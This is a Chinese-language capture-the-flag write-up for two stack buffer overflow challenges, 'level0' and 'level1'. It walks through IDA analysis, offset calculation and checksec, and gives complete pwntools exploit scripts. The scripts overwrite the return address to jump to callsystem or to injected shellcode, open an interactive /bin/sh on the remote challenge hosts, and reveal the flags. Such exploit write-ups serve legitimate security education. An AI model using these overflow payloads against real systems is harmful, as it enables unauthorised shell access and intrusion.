将文件在ida中打开,
输出字符串helloWord之后执行vulnerable_function()函数,没有与用户交互,双击进去查看,,
无参数传入,buf长度为0x80,即0x80h填充满,之后跟上地址就可以实现任意跳转。查找字符串
这是 vulnerable_function 函数,可以在栈上写0x200个字节,或许我们可以进行溢出,覆盖掉返回地址,劫持程序执行流,执行我们想执行的方法。通常我们的目的是去执行 system("/bin/sh")
。
看看有价值的strings,除了输出的helloworld 还发现了“/bin/sh”,查看调用发现了 callsystem函数,我们可以把返回地址改成callsystem的地址。
点进去之后,点击strings,进入以下页面
双击bin/sh就能查看bin/sh的存储位置
将光标放置在bin/sh这一行,按键盘上x就能找到哪里调用了bin/sh,这样我们就找到了callsystem。
因此,可以在read时,将函数返回地址覆盖为callsystem函数地址,则可实现漏洞利用
推测返回地址错误,看vulnerable_function()函数汇编代码
脚本如下:
from pwn import * #导入pwntools中pwn包的所有内容
p = remote('111.198.29.45',33907) # 链接服务器远程交互,等同于nc ip 端口 命令
elf = ELF('./level0') # 以ELF文件格式读取level0文件
sysaddr = elf.symbols['callsystem'] # 获取ELF文件中callsystem标记的地址
payload = 'a'*(0x80 + 8) + p64(sysaddr) # payload,先用0x88个无用字符覆盖buf和push中的内容,之后再覆盖返回地址
p.recv() #接收输出
p.send(payload) # 发送payload
p.interactive() # 反弹shell进行交互
把脚本和执行文件都拖到Ubuntu中,cat得到flag。。。。
cyberpeace{c059d53c0799598a0a320babff2fb2ab}
在Ubuntu中输入checksec level1能够查看这个文件到底是32位还是64位,,(因为已经安装了pwntools所以该命令能够执行,安装过程见上篇博客)
可以用checksec脚本来查询该文件使用了哪些防护技术。
./checksec --file file
然后用ida32位打开,查看伪代码,,
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
看到有个 vulnerable_function()函数,
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}
根据以上代码,可以写得脚本,,,
from pwn import *
context(arch = 'i386', os = 'linux')
shellcode = asm(shellcraft.sh())#用函数shellcraft.sh()直接生成shellcode
#asm
io = remote('pwn2.jarvisoj.com', 9877)
text = io.recvline()[14: -2]
buf_addr = int(text, 16)
payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()
可以看到在vulnerable_function中泄漏了buf的内存,用checksec可以发现这个程序编译时关了栈不可执行保护,于是我们就可以在buf里面输入shellcode和填充字符,将vulnerable_function的返回地址覆盖为buf的栈上地址,实现一次较简单的栈溢出攻击。
我们现在来使用 ida 来查看该函数的栈帧 , 用来计算 buf 首地址到 返回地址的偏移
因此通过上面两个图
payload=shellcode +‘a’ * (0x88 0x4 - len(shellcode)) + p32(buf_addr)
现在的关键是写shellcode
1)先设置目标机的参数
context(os=’linux’, arch=’amd64’, log_level=’debug’)
os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
arch设置架构为:,64位的模式为amd64,对应的32位模式是’i386’,根据刚才终端命令可以得知为32位
log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,所以有时候可以不输入。
2)获取shellcode
获得执行system(“/bin/sh”)汇编代码所对应的机器码
asm(shellcraft.sh())
成功拿到flag
CTF{82c2aa534a9dede9c3a0045d0fec8617}